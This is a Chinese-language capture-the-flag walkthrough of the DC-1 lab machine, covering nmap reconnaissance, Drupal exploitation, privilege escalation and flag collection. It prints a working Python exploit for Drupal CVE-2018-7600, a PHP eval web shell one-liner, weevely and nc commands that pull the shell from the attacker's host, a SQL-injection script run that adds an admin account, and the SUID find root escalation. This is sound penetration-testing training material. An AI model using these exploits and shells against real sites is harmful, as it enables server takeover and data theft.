入门靶机:DC-1的渗透测试
1、收集信息
使用 nmap 探测到靶机的地址为 192.168.56.138
nmap -sn 192.168.56.0/24
# 得到靶机ip为:192.168.56.138
1.1 nmap 扫描
nmap 扫描端口
# Nmap 7.92 scan initiated Thu Dec 19 07:50:24 2024 as: nmap -sT --min-rate 10000 -o check/138port 192.168.56.138
Nmap scan report for 192.168.56.138
Host is up (0.00080s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbinda
# Nmap done at Thu Dec 19 07:50:25 2024 -- 1 IP address (1 host up) scanned in 0.07 seconds
nmap 扫描端口详细信息
扫描端口信息,发现三个端口,其中 80 端口使用的是Drupal 7 的服务
nmap -sT -sV -sC -O -o check/138portinfo 192.168.56.138
# -sT 扫描开放的tcp端口
# -sV 扫描开放的服务
# -sC 使用脚本扫描
# -o 将扫描信息保存到指定文件
# Nmap 7.92 scan initiated Thu Dec 19 07:53:00 2024 as: nmap -sT -sV -sC -O -o check/138portinfo 192.168.56.138
Nmap scan report for 192.168.56.138
Host is up (0.00031s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-server-header: Apache/2.2.22 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 38815/udp status
| 100024 1 44275/udp6 status
| 100024 1 45646/tcp status
|_ 100024 1 48733/tcp6 status
MAC Address: 00:0C:29:E1:99:46 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 19 07:53:10 2024 -- 1 IP address (1 host up) scanned in 9.92 seconds
nmap 脚本扫描端口漏洞信息
# Nmap 7.92 scan initiated Thu Dec 19 08:51:22 2024 as: nmap --script=vuln -p22,80,111 -o check/138script 192.168.56.138
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.56.138
Host is up (0.00028s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.138
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.56.138:80/
| Form id: user-login-form
| Form action: /node?destination=node
|
| Path: http://192.168.56.138:80/user/password
| Form id: user-pass
| Form action: /user/password
|
| Path: http://192.168.56.138:80/node?destination=node
| Form id: user-login-form
| Form action: /node?destination=node
|
| Path: http://192.168.56.138:80/user/register
| Form id: user-register-form
| Form action: /user/register
|
| Path: http://192.168.56.138:80/user
| Form id: user-login
| Form action: /user
|
| Path: http://192.168.56.138:80/user/
| Form id: user-login
|_ Form action: /user/
| http-vuln-cve2014-3704:
| VULNERABLE:
| Drupal - pre Auth SQL Injection Vulnerability
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2014-3704
| The expandArguments function in the database abstraction API in
| Drupal core 7.x before 7.32 does not properly construct prepared
| statements, which allows remote attackers to conduct SQL injection
| attacks via an array containing crafted keys.
|
| Disclosure date: 2014-10-15
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704
| https://www.drupal.org/SA-CORE-2014-005
| http://www.securityfocus.com/bid/70595
|_ https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
| http-enum:
| /rss.xml: RSS or Atom feed
| /robots.txt: Robots file
| /UPGRADE.txt: Drupal file
| /INSTALL.txt: Drupal file
| /INSTALL.mysql.txt: Drupal file
| /INSTALL.pgsql.txt: Drupal file
| /: Drupal version 7
| /README: Interesting, a readme.
| /README.txt: Interesting, a readme.
| /0/: Potentially interesting folder
|_ /user/: Potentially interesting folder
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
111/tcp open rpcbind
MAC Address: 00:0C:29:E1:99:46 (VMware)
# Nmap done at Thu Dec 19 08:54:01 2024 -- 1 IP address (1 host up) scanned in 159.36 seconds
1.2 目录遍历
/search (Status: 403) [Size: 7563]
/misc (Status: 301) [Size: 315] [--> http://192.168.56.138/misc/]
/themes (Status: 301) [Size: 317] [--> http://192.168.56.138/themes/]
/0 (Status: 200) [Size: 9041]
/user (Status: 200) [Size: 7480]
/modules (Status: 301) [Size: 318] [--> http://192.168.56.138/modules/]
/admin (Status: 403) [Size: 7718]
/scripts (Status: 301) [Size: 318] [--> http://192.168.56.138/scripts/]
/node (Status: 200) [Size: 9041]
/sites (Status: 301) [Size: 316] [--> http://192.168.56.138/sites/]
/includes (Status: 301) [Size: 319] [--> http://192.168.56.138/includes/]
/profiles (Status: 301) [Size: 319] [--> http://192.168.56.138/profiles/]
/robots (Status: 200) [Size: 1561]
/batch (Status: 403) [Size: 7853]
/server-status (Status: 403) [Size: 295]
/flag1 (Status: 200) [Size: 52]
2、信息整合
2.1 端口
22/tcp open ssh
80/tcp open http Apache httpd 2.2.22 + Drupal 7
111/tcp open rpcbinda
2.2 页面
在页面查看发现主页是登录界面,但是使用弱口令和万能密码没办法进入后台
3、渗透
3.1 获取 shell
1. 查找drupal site的漏洞
由于 nmap 扫描到系统使用的是Drupal 7 的框架,这里优先找历年该服务的漏洞信息,百度发现drupal 存在有远程代码执行漏洞CVE-2018-7600,并且漏洞利用页面是注册的页面,百度找到对应的利用方式
2. 查看漏洞利用脚本
百度发现的 python 漏洞利用脚本,这里查看发现是循环调用接口来请求注册页面,达到获取 shell 的假象,运行可以成功执行漏洞
python getshell.py http://192.168.56.138/
import requests
import re
from sys import argv
domain = argv[1]
def exploit(command):
HOST=domain
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':command, 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(HOST, data=post_params, params=get_params)
print("\n".join(r.text.split("\n")[:-1]))
# 循环执行exp,每次回显出执行结果
while True:
command = input('$ ')
exploit(command)
3. 上传木马,获取正常 shell
这里使用 weevely 创建一个木马,然后用前面的远程执行漏洞将木马下载到靶机(这里也可以直接用命令执行漏洞执行创建一个木马 然后使用蚁剑连接木马,执行命令echo '<?php eval($_REQURST[cmd]);?>' > shell.php
)
weevely generate cmd shell.php
使用 nc 命令将木马上传到靶机内
nc -lnvp 4444 < shell.php
# kali内运行nc监听端口
python getshell.py http://192.168.56.138/
# 运行py利用远程代码执行漏洞,将木马上传
nc 192.168.56.128 4444 >shell.php
# 运行nc通过远程代码执行漏洞下载木马
4. 使用 weevely 获取正常 shell
使用 curl 测试,木马已经正常上传成功了,可以直接用 weevely 连接,成功获取 shell
curl -X GET http://192.168.56.138/shell.php
# 使用curl测试shell.php页面是否存在
weevely http://192.168.56.138/shell.php cmd
# 连接木马
3.2 提权
1. 查看 SUID 权限命令
使用 find 命令查找有 suid 权限的命令,这里发现 find 有 suid 权限
find / -type f -perm -4000 2>/dev/null
2. 查看 find 提权的方式
这里在提权命令汇总的网站查看 find 提权的方式,参考连接:find | GTFOBins
3. 使用 find 提权
这里测试在 weevely 里面提权好像提权不了,又重新使用 nc 在 kali 监听端口重新反弹了一个 shell 进行提权,可以看见,已经获取到 root 的组权限,whoami 查看是 root 权限了
find . -exec /bin/sh \; -quit
3.3 查看 flag
1. flag1
使用 find 命令可以看到 flag1 和 flag4,其中 flag1 可以直接查看,查看 flag1 提示我们需要去配置文件查看
2. flag2
百度发现网站的配置文件在 sites 目录下,我们去网站根目录的 sites 目录下查找,遍历 sites 目录,发现在 default 下面有个 setting.php 文件,查看该文件我们发现又 flag2 文件和数据库的账号密码
cd /var/www/sites/default
cat setting.php
3. flag3
flag2 提示我们需要提权,应该是需要获取最高权限去网站查看,这里登录到数据库查看 admin 账号的密码发现密码是特殊处理的,这里可以找到系统的修改密码的方式,然后尝试单独运行修改密码的文件修改 admin 的密码(PS:生成密码的文件在scripts/password-hash.sh
文件,使用命令为php scripts/password-hash.sh 123456
加密一个密码,然后再 mysql 里替换即可)
但是我们这里由于之前百度漏洞时发现该系统还有一个 sql 注入漏洞,可以写入一个最高权限的用户,因此使用创建一个最高权限的账号来修改 admin 的密码
searchsploit Drupal 7
# 查找drupal的漏洞发现添加admin权限用户的exp
searchsploit Drupal 7 -m 34992.py
# 复制漏洞利用脚本到当前目录
python2 34992.py -t http://192.168.56.138 -u rmgcc -p rmgcc
# 执行漏洞利用脚本,创建用户rmgcc
创建成功后登录网站,可以看到有修改其他账号密码的地方,可以直接修改 admin 账号的密码
将 admin 的账号密码修改后,使用 admin 的账号密码登录,查看内容发现有 flag3
4. flag4
之前使用 find 命令发现 flag4 在/home/flag4
目录下
flag4 打开发现提示 flag 在/root 目录,直接跳转到 root 目录查看 flag
4、总结
4.1 渗透过程
- 使用 nmap 扫描发现网站的框架为drupal 7
- 通过查找框架的历史漏洞进行利用,使用远程代码执行漏洞可以获取 shell,可以写入木马或者反连
- 通过查找 suid 权限文件找到 find,通过 find 提权获取最高权限
find / -perm -u=s -type f 2>/dev/null
- 一个网站靶机的 flag 可能再数据库、后台和网页上,因此都可以查看一遍
4.2 知识点
- 利用过程中可以看下/etc下的 passwd, group shadow,提升权限后必看,里面可能会有其他信息,像这里就有 flag4 一个账号和密码信息
- 进入网站前可以注册一个账号看看网站的各个页面,了解一下网站都有哪些功能